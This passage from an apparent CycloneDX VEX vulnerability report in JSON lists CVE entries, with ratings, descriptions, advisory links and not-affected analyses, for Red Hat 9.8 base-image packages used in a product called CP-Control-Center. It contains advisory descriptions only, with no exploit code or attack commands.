or system hang.", "recommendation": "Upgrade glib2 to version 2.68.4-19.el9_8.9", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-15588" }, { "url": "https://access.redhat.com/errata/RHSA-2026:39985" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40485" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42329" }, { "url": "https://access.redhat.com/errata/RHSA-2026:55440" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57015" }, { "url": "https://access.redhat.com/errata/RHSA-2026:58981" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61766" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61783" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-15588" }, { "url": "https://bugzilla.redhat.com/2492243" }, { "url": "https://bugzilla.redhat.com/2492245" }, { "url": "https://bugzilla.redhat.com/2492247" }, { "url": "https://bugzilla.redhat.com/2492248" }, { "url": "https://bugzilla.redhat.com/2492255" }, { "url": "https://bugzilla.redhat.com/2492256" }, { "url": "https://bugzilla.redhat.com/2499675" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492243" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492245" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492247" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492248" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492255" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492256" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499675" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15588" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58010" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58011" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58012" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58013" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58014" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58015" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-55440.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:55440" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3985" }, { "url": "https://linux.oracle.com/cve/CVE-2026-15588.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-61766-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15588" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-15588" } ], "published": "2026-07-20T12:17:55+00:00", "updated": "2026-09-01T13:18:10+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image library (glib2 GDBus) whose D-Bus IPC server is never opened by any product code." } }, { "id": "CVE-2026-16118", "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.1, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H" } ], "cwes": [ 122 ], "description": "A flaw was found in xdgmime. A heap-based buffer overflow can be triggered in _xdg_mime_magic_parse_magic_line() in the xdgmimemagic.c file on little-endian systems when an attacker-controlled MIME magic file in a user-writable XDG data location (e.g., in the $XDG_DATA_HOME/mime/magic path) is parsed by an application performing MIME type detection (e.g., via g_content_type_guess()). When performing byte-swap, incorrect pointer arithmetic on the write side causes an out-of-bounds write of 2 bytes, resulting in an application crash or memory corruption.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-16118" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-16118" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2501732" }, { "url": "https://gitlab.freedesktop.org/xdg/xdgmime/-/work_items/41" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16118" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-16118" } ], "published": "2026-07-17T20:17:16+00:00", "updated": "2026-09-03T13:04:35+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image library (glib2/xdgmime) whose MIME-magic detection API is never invoked by any product code." } }, { "id": "CVE-2026-1757", "ratings": [ { "source": { "name": "amazon" }, "severity": "low" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 6.2, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 401 ], "description": "A flaw was identified in the interactive shell of the xmllint utility, part of the libxml2 project, where memory allocated for user input is not properly released under certain conditions. When a user submits input consisting only of whitespace, the program skips command execution but fails to free the allocated buffer. Repeating this action causes memory to continuously accumulate. Over time, this can exhaust system memory and terminate the xmllint process, creating a denial-of-service condition on the local system.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-1757" }, { "url": "https://access.redhat.com/errata/RHSA-2026:7519" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-1757" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2435940" }, { "url": "https://gitlab.gnome.org/GNOME/libxml2/-/issues/1009" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1757" }, { "url": "https://ubuntu.com/security/notices/USN-8460-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-1757" } ], "published": "2026-02-02T13:15:58+00:00", "updated": "2026-09-01T12:17:36+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.9.13-14.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-22020", "ratings": [ { "source": { "name": "redhat" }, "score": 7.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H" }, { "source": { "name": "rocky" }, "severity": "high" } ], "description": "This CVE was rejected by the owning CNA.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-22020" }, { "url": "https://access.redhat.com/errata/RHSA-2026:9686" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-22020" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418711" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2438542" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443891" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448747" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460038" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460039" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460040" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460041" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460042" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460043" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460044" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460045" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66293" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22007" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22013" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22016" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22018" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22020" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22021" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23865" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25646" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26740" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34268" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34282" }, { "url": "https://errata.rockylinux.org/RLSA-2026:9686" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22020" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-22020" } ], "affects": [ { "ref": "pkg:rpm/redhat/libpng@1.6.37-15.el9_8.2?arch=x86_64&distro=redhat-9.8&epoch=2", "versions": [ { "version": "2:1.6.37-15.el9_8.2", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libpng@1.6.37-15.el9_8.2?arch=x86_64&distro=redhat-9.8&epoch=2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-22693", "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 476 ], "description": "HarfBuzz is a text shaping engine. Prior to version 12.3.0, a null pointer dereference vulnerability exists in the SubtableUnicodesCache::create function located in src/hb-ot-cmap-table.hh. The function fails to check if hb_malloc returns NULL before using placement new to construct an object at the returned pointer address. When hb_malloc fails to allocate memory (which can occur in low-memory conditions or when using custom allocators that simulate allocation failures), it returns NULL. The code then attempts to call the constructor on this null pointer using placement new syntax, resulting in undefined behavior and a Segmentation Fault. This issue has been patched in version 12.3.0.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-22693" }, { "url": "http://www.openwall.com/lists/oss-security/2026/01/11/1" }, { "url": "http://www.openwall.com/lists/oss-security/2026/01/12/1" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-22693" }, { "url": "https://github.com/harfbuzz/harfbuzz/commit/1265ff8d990284f04d8768f35b0e20ae5f60daae" }, { "url": "https://github.com/harfbuzz/harfbuzz/security/advisories/GHSA-xvjr-f2r9-c7ww" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22693" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-22693" } ], "published": "2026-01-10T06:15:52+00:00", "updated": "2026-06-17T10:20:14+00:00", "affects": [ { "ref": "pkg:rpm/redhat/harfbuzz@2.7.4-10.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.7.4-10.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/harfbuzz@2.7.4-10.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-23865", "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "bitnami" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L" }, { "source": { "name": "cbl-mariner" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L" }, { "source": { "name": "rocky" }, "severity": "high" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 125 ], "description": "An integer overflow in the tt_var_load_item_variation_store function of the Freetype library in versions 2.13.2 and 2.13.3 may allow for an out of bounds read operation when parsing HVAR/VVAR/MVAR tables in OpenType variable fonts. This issue is fixed in version 2.14.2.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-23865" }, { "url": "http://www.openwall.com/lists/oss-security/2026/03/03/8" }, { "url": "https://access.redhat.com/errata/RHSA-2026:9689" }, { "url": "https://access.redhat.com/errata/RHSA-2026:9693" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-23865" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443891" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460038" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460039" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460040" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460041" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460042" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460043" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460044" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22007" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22013" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22016" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22018" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22021" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23865" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34268" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34282" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-9693.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:9689" }, { "url": "https://github.com/advisories/GHSA-878v-mxg6-vj8f" }, { "url": "https://gitlab.com/freetype/freetype/-/commit/fc85a255849229c024c8e65f536fe1875d84841c" }, { "url": "https://linux.oracle.com/cve/CVE-2026-23865.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-9693.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23865" }, { "url": "https://sourceforge.net/projects/freetype/files/freetype2/2.14.2" }, { "url": "https://sourceforge.net/projects/freetype/files/freetype2/2.14.2/" }, { "url": "https://ubuntu.com/security/notices/USN-8086-1" }, { "url": "https://ubuntu.com/security/notices/USN-8327-1" }, { "url": "https://ubuntu.com/security/notices/USN-8328-1" }, { "url": "https://ubuntu.com/security/notices/USN-8330-1" }, { "url": "https://ubuntu.com/security/notices/USN-8331-1" }, { "url": "https://ubuntu.com/security/notices/USN-8332-1" }, { "url": "https://ubuntu.com/security/notices/USN-8333-1" }, { "url": "https://ubuntu.com/security/notices/USN-8334-1" }, { "url": "https://ubuntu.com/security/notices/USN-8339-1" }, { "url": "https://ubuntu.com/security/notices/USN-8341-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-23865" }, { "url": "https://www.facebook.com/security/advisories/cve-2026-23865" }, { "url": "https://www.oracle.com/security-alerts/cpuapr2026.html#AppendixJAVA" } ], "published": "2026-03-02T17:16:32+00:00", "updated": "2026-06-17T10:22:13+00:00", "affects": [ { "ref": "pkg:rpm/redhat/freetype@2.10.4-10.el9_5?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.10.4-10.el9_5", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/freetype@2.10.4-10.el9_5?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-25068", "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "cbl-mariner" }, "severity": "medium" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 4.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 129 ], "description": "alsa-lib versions 1.2.2 up to and including 1.2.15.2, prior to commit 5f7fe33, contain a heap-based buffer overflow in the topology mixer control decoder. The tplg_decode_control_mixer1() function reads the num_channels field from untrusted .tplg data and uses it as a loop bound without validating it against the fixed-size channel array (SND_TPLG_MAX_CHAN). A crafted topology file with an excessive num_channels value can cause out-of-bounds heap writes, leading to a crash.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-25068" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-25068" }, { "url": "https://github.com/alsa-project/alsa-lib/commit/5f7fe33002d2d98d84f72e381ec2cccc0d5d3d40" }, { "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00008.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25068" }, { "url": "https://ubuntu.com/security/notices/USN-8044-1" }, { "url": "https://ubuntu.com/security/notices/USN-8044-2" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-25068" }, { "url": "https://www.vulncheck.com/advisories/alsa-lib-topology-decoder-heap-based-buffer-overflow" } ], "published": "2026-01-29T20:16:10+00:00", "updated": "2026-06-17T10:24:04+00:00", "affects": [ { "ref": "pkg:rpm/redhat/alsa-lib@1.2.15.3-1.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "1.2.15.3-1.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/alsa-lib@1.2.15.3-1.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-2673", "ratings": [ { "source": { "name": "amazon" }, "severity": "low" }, { "source": { "name": "julia" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 757 ], "description": "Issue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected\npreferred key exchange group when its key exchange group configuration includes\nthe default by using the 'DEFAULT' keyword.\n\nImpact summary: A less preferred key exchange may be used even when a more\npreferred group is supported by both client and server, if the group\nwas not included among the client's initial predicated keyshares.\nThis will sometimes be the case with the new hybrid post-quantum groups,\nif the client chooses to defer their use until specifically requested by\nthe server.\n\nIf an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to\ninterpolate the built-in default group list into its own configuration, perhaps\nadding or removing specific elements, then an implementation defect causes the\n'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups\nwere treated as a single sufficiently secure 'tuple', with the server not\nsending a Hello Retry Request (HRR) even when a group in a more preferred tuple\nwas mutually supported.\n\nAs a result, the client and server might fail to negotiate a mutually supported\npost-quantum key agreement group, such as 'X25519MLKEM768', if the client's\nconfiguration results in only 'classical' groups (such as 'X25519' being the\nonly ones in the client's initial keyshare prediction).\n\nOpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS\n1.3 key agreement group on TLS servers. The old syntax had a single 'flat'\nlist of groups, and treated all the supported groups as sufficiently secure.\nIf any of the keyshares predicted by the client were supported by the server\nthe most preferred among these was selected, even if other groups supported by\nthe client, but not included in the list of predicted keyshares would have been\nmore preferred, if included.\n\nThe new syntax partitions the groups into distinct 'tuples' of roughly\nequivalent security. Within each tuple the most preferred group included among\nthe client's predicted keyshares is chosen, but if the client supports a group\nfrom a more preferred tuple, but did not predict any corresponding keyshares,\nthe server will ask the client to retry the ClientHello (by issuing a Hello\nRetry Request or HRR) with the most preferred mutually supported group.\n\nThe above works as expected when the server's configuration uses the built-in\ndefault group list, or explicitly defines its own list by directly defining the\nvarious desired groups and group 'tuples'.\n\nNo OpenSSL FIPS modules are affected by this issue, the code in question lies\noutside the FIPS boundary.\n\nOpenSSL 3.6 and 3.5 are vulnerable to this issue.\n\nOpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released.\nOpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released.\n\nOpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-2673" }, { "url": "http://www.openwall.com/lists/oss-security/2026/03/13/3" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-2673" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html" }, { "url": "https://github.com/advisories/GHSA-wj64-gh9j-xm82" }, { "url": "https://github.com/openssl/openssl/commit/2157c9d81f7b0bd7dfa25b960e928ec28e8dd63f" }, { "url": "https://github.com/openssl/openssl/commit/85977e013f32ceb96aa034c0e741adddc1a05e34" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2673" }, { "url": "https://openssl-library.org/news/secadv/20260313.txt" }, { "url": "https://ubuntu.com/security/notices/USN-8155-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-2673" } ], "published": "2026-03-13T19:54:34+00:00", "updated": "2026-06-17T10:31:30+00:00", "affects": [ { "ref": "pkg:rpm/redhat/openssl-fips-provider-so@3.0.7-11.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "3.0.7-11.el9_8", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/openssl-fips-provider@3.0.7-11.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "3.0.7-11.el9_8", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1", "versions": [ { "version": "1:3.5.5-4.el9_8", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/openssl-fips-provider-so@3.0.7-11.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/openssl-fips-provider@3.0.7-11.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/openssl-libs@3.5.5-4.el9_8?arch=x86_64&distro=redhat-9.8&epoch=1" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-27171", "ratings": [ { "source": { "name": "amazon" }, "severity": "low" }, { "source": { "name": "azure" }, "severity": "low" }, { "source": { "name": "cbl-mariner" }, "severity": "low" }, { "source": { "name": "julia" }, "score": 5.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "nvd" }, "score": 5.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 3.3, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 1284 ], "description": "zlib before 1.3.2 allows CPU consumption via crc32_combine64 and crc32_combine_gen64 because x2nmodp can do right shifts within a loop that has no termination condition.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-27171" }, { "url": "https://7asecurity.com/blog/2026/02/zlib-7asecurity-audit" }, { "url": "https://7asecurity.com/blog/2026/02/zlib-7asecurity-audit/" }, { "url": "https://7asecurity.com/reports/pentest-report-zlib-RC1.1.pdf" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-27171" }, { "url": "https://github.com/advisories/GHSA-h858-mf2m-8jf4" }, { "url": "https://github.com/madler/zlib/issues/904" }, { "url": "https://github.com/madler/zlib/releases/tag/v1.3.2" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27171" }, { "url": "https://ostif.org/zlib-audit-complete" }, { "url": "https://ostif.org/zlib-audit-complete/" }, { "url": "https://ubuntu.com/security/notices/USN-8706-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-27171" } ], "published": "2026-02-18T04:16:01+00:00", "updated": "2026-06-17T10:26:47+00:00", "affects": [ { "ref": "pkg:rpm/redhat/zlib@1.2.11-40.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "1.2.11-40.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/zlib@1.2.11-40.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-27456", "ratings": [ { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "bottlerocket" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 4.7, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N" }, { "source": { "name": "redhat" }, "score": 4.7, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 59, 269, 367 ], "description": "util-linux is a random collection of Linux utilities. Prior to version 2.41.4, a TOCTOU (Time-of-Check-Time-of-Use) vulnerability has been identified in the SUID binary /usr/bin/mount from util-linux. The mount binary, when setting up loop devices, validates the source file path with user privileges via fork() + setuid() + realpath(), but subsequently re-canonicalizes and opens it with root privileges (euid=0) without verifying that the path has not been replaced between both operations. Neither O_NOFOLLOW, nor inode comparison, nor post-open fstat() are employed. This allows a local unprivileged user to replace the source file with a symlink pointing to any root-owned file or device during the race window, causing the SUID binary to open and mount it as root. Exploitation requires an /etc/fstab entry with user,loop options whose path points to a directory where the attacker has write permission, and that /usr/bin/mount has the SUID bit set (the default configuration on virtually all Linux distributions). The impact is unauthorized read access to root-protected files and block 